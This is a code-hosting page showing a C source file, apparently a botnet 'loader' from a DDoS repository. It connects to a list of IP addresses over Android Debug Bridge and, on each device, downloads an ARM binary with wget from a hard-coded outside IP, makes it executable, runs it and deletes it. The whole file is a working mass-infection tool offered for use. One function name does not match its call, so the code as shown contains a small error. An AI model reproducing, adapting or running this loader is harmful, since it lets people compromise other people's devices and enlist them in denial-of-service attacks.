Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/ADB-ANDROID/loader.c
5038 views
1
// adb loader written by hubnr;
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5
#include <pthread.h>
6
#include <unistd.h>
7
8
#define MAX_IP_LEN 16
9
#define CMD_MAX_LEN 256
10
11
typedef struct
12
{
13
char ip[MAX_IP_LEN];
14
int count;
15
} adb_args;
16
17
void* adb_infect(void* arg)
18
{
19
adb_args* args = (adb_args*) arg;
20
char cmd[CMD_MAX_LEN];
21
sprintf(cmd, "adb connect %s", args->ip);
22
system(cmd);
23
sleep(7);
24
sprintf(cmd, "adb -s %s:5555 shell \"cd /data/local/tmp; rm -rf bins.sh; wget http://104.248.113.17/arm7; chmod 777 arm7; ./arm7; rm -rf arm7\"", args->ip);
25
system(cmd);
26
return NULL;
27
}
28
29
int main(int argc, char** argv)
30
{
31
if (argc < 2)
32
{
33
printf("Usage: %s <file_with_ips>\n", argv[0]);
34
return 1;
35
}
36
37
FILE* fp = fopen(argv[1], "r");
38
39
if (fp == NULL)
40
{
41
printf("Error opening file: %s\n", argv[1]);
42
return 1;
43
}
44
45
char line[MAX_IP_LEN];
46
int count = 0;
47
pthread_t threads[1024];
48
49
while (fgets(line, MAX_IP_LEN, fp) != NULL)
50
{
51
line[strcspn(line, "\r\n")] = '\0';
52
adb_args* args = (adb_args*) malloc(sizeof(adb_args));
53
strncpy(args->ip, line, MAX_IP_LEN);
54
args->count = ++count;
55
pthread_create(&threads[count], NULL, adb, args);
56
usleep(100000);
57
}
58
59
fclose(fp);
60
61
for (int i = 1; i <= count; ++i)
62
{
63
pthread_join(threads[i], NULL);
64
}
65
66
return 0;
67
}
68
69